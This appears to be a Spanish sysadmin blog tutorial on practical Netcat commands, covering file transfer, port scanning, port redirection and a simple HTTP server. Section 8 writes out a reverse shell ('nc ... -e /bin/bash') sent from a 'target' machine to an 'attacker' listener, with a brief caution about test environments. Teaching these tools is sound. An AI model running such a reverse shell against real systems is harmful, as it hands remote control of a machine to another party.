Comandos prácticos con Netcat (nc)

Netcat, comúnmente conocido como nc, es una herramienta versátil que se utiliza para leer y escribir datos a través de conexiones de red utilizando los protocolos TCP o UDP. Es muy popular en la administración de redes y seguridad debido a su simplicidad y potencia. A continuación, se presentan algunos comandos prácticos con Netcat que pueden ser útiles en diversas situaciones.

1. Escuchar un puerto (modo servidor)

Netcat puede actuar como un servidor, escuchando en un puerto específico a la espera de conexiones.

nc -l -p 1234

Este comando pone a Netcat en modo escucha en el puerto 1234. Cualquier cliente que se conecte a este puerto podrá interactuar con el servidor.

2. Conectar a un puerto específico (modo cliente)

Netcat también puede actuar como cliente y conectarse a un puerto en un servidor específico.

nc 192.168.1.100 1234

Este comando se conecta a la dirección 192.168.1.100 en el puerto 1234. Se puede usar para verificar si un servicio está activo en ese puerto.

3. Transferir archivos de un host a otro

Netcat puede utilizarse para transferir archivos entre dos sistemas en la red de manera sencilla.

  • En el host receptor (servidor):
nc -l -p 1234 > archivo_recibido.txt
  • En el host remitente (cliente):
nc 192.168.1.100 1234 < archivo_a_enviar.txt

El archivo archivo_a_enviar.txt se enviará al host en 192.168.1.100 y se guardará como archivo_recibido.txt.

4. Escaneo de puertos

Netcat puede usarse como una herramienta básica de escaneo de puertos, similar a nmap.

nc -zv 192.168.1.100 20-80

El parámetro -z (modo sin envío de datos) realiza un escaneo de los puertos 20 a 80 en el host 192.168.1.100. El parámetro -v habilita la salida en modo «verbose» para obtener más detalles sobre el escaneo.

5. Chat simple entre dos máquinas

Netcat puede crear un canal de comunicación simple, funcionando como una especie de chat en tiempo real.

  • En la máquina A (servidor):
nc -l -p 1234
  • En la máquina B (cliente):
nc 192.168.1.100 1234

Ahora, cualquier cosa que se escriba en una terminal se reflejará en la otra, creando una comunicación directa entre ambos hosts.

6. Redirección de puertos

Netcat puede redirigir puertos fácilmente, creando un túnel entre dos redes o sistemas.

mkfifo backpipe
nc -l 1234 < backpipe | nc 192.168.1.100 5678 > backpipe

Este comando redirige las conexiones que llegan al puerto 1234 en la máquina local hacia el puerto 5678 en 192.168.1.100.

7. Servidor HTTP básico

Netcat también puede utilizarse para actuar como un servidor HTTP básico y enviar respuestas HTTP.

  • En el servidor:
while true; do nc -l -p 8080 -c 'echo -e "HTTP/1.1 200 OK\r\n\r\n $(date)"'; done

Este comando hará que Netcat actúe como un servidor web que envía la fecha actual como respuesta a las solicitudes entrantes en el puerto 8080.

8. Ejecutar comandos remotamente

Netcat puede utilizarse para ejecutar comandos en una máquina remota y recibir la salida en otra máquina.

  • En la máquina atacante:
nc -l -p 1234
  • En la máquina objetivo:
nc 192.168.1.100 1234 -e /bin/bash

Con esto, se redirige un shell Bash a la máquina atacante, lo que permite ejecutar comandos remotamente.

Nota: Este uso puede ser potencialmente peligroso y se recomienda emplearlo solo en entornos de prueba o bajo condiciones controladas.

9. Clonar puertos

Netcat permite clonar el tráfico entre dos puertos en la misma máquina o entre diferentes máquinas.

nc -l -p 8080 | nc 192.168.1.100 9090

Esto escucha en el puerto 8080 y retransmite cualquier dato que reciba al puerto 9090 en el host 192.168.1.100.

En resumen

Netcat es una herramienta poderosa para realizar tareas de red, desde pruebas de conectividad y escaneo de puertos hasta transferencias de archivos y administración remota. Su versatilidad y simplicidad la convierten en una opción ideal para administradores de sistemas, profesionales de la seguridad y aficionados a las redes. Como cualquier herramienta, debe usarse con precaución, especialmente en redes de producción o en situaciones que involucren la seguridad.

Suscríbete al boletín SysAdmin

Este es tu recurso para las últimas noticias y consejos sobre administración de sistemas, Linux, Windows, cloud computing, seguridad de la nube, etc. Lo enviamos 2 días a la semana.

¡Apúntate a nuestro newsletter!


– patrocinadores –

Noticias destacadas

– patrocinadores –

¡SUSCRÍBETE AL BOLETÍN
DE LOS SYSADMINS!

Scroll al inicio